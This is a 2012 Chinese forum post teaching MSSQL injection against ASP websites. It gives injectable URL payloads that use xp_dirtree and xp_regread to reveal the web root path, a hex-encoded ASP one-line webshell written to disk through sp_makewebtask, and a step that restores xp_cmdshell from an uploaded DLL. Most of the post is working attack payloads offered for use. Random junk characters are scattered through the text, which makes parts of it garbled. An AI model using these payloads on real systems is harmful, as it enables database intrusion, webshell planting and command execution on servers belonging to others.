找回密码
 立即注册
查看: 3344|回复: 0
打印 上一主题 下一主题

MSsqlL注入取得网站路径最好的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:20:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好,我们exec master..xp_dirtree'd:/test'3 R; `" Q$ [% _$ t
假设我们在test里有两个文件夹test1和test2在test1里又有test31 O+ {6 t6 _. y* [; \. }0 W5 ?
结果显示. v8 A& {* F- m) K
  M+ S: T% V& i; ^  {6 e
subdirectory depth
4 c- }  p& R! d7 N( N5 Ltest1 1
$ E/ }% a' `: Z) K( h# H- ]test3 2* |" O! d3 }7 X: Z1 m/ J
test2 1+ S7 ^6 E1 d4 n0 s: D; n

; |5 P* c- d  W哈哈发现没有那个depth就是目录的级数
4 @: }, {$ d( _. D# lok了,知道怎么办了吧3 v. L) @! y) D
0 b8 e0 y" x% Y: z2 c7 G$ R5 P
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- $ u& i7 B8 T7 \: N. @
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
5 g% _9 m  J* P& |http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-+ w0 B: e' S' i

, P/ J2 a! |8 h( {' I只要加上id=1,就是第一级目录 。6 U8 \" w' ]! \0 R9 P) P( {8 H
0 ]( p+ {9 c# y( d3 m6 l2 U5 \6 [
1 b* E# r3 y1 a) a
通过注册表读网站路径:9 a: w5 k; D# f: X  V2 v4 N, L

- o0 i! z1 D% D- ^" h1.;create table [dbo].[cyfd] ([gyfd][char](255));6 N# B0 H" I! _# [
) v2 B; g. M# t9 `' J  n
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
* D; h. n$ E/ K, l7 m" q1 V8 r+ W! Bid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--% j1 i) v$ f2 y1 {0 s

. d% \) f4 p4 M. l# |4 G3.and 1=(select count(*) from 临时表 where 临时字段名>1)5 J" v* Q8 c8 v2 @( @6 A
and 1=(select count(*) from cyfd where gyfd > 1)
. b5 P0 a# E) O这样IE报错,就把刚才插进去的Web路径的值报出来了
! i  u  Y- Q; C
" z8 L9 P% @2 @  B: `+ N: g1 d/ O4.drop table cyfd;-- 删除临时表! R; c' E" ]( y; a- V

/ s7 M- A6 X+ @& U* V获得webshell方法:9 b9 z: p1 r  S/ O
1.create table cmd (a image)-- \**cmd是创建的临时表
; y+ l( o$ N; I& w1 d# D* X& j
0 U3 b1 [) B+ F- J8 U7 _5 T2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
+ |% g. E9 M) i# ]$ d& Q2 `2 t: A3 E3 r' t9 _7 h" a" h) g" T
' s; \2 X: Z0 H& k9 p4 w
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
5 |" L+ n. q+ I4 Y' X/ lEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
1 Y7 {; U2 c- U
* h& M! i4 M4 `4 V' b4.drop table cmd;-- 删除cmd临时表
) ?8 Y* Y: |! Z  U9 b# m' x" F, `4 D
恢复xp_cmdshell方法之一:4 o( A7 m* {/ I
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:, y. @* M0 h' p' \
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
1 x) \/ q" b- c& X恢复,支持绝对路径的恢复哦。:)
; k. W6 ~2 [+ ?; _+ n$ j0 O* |, }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表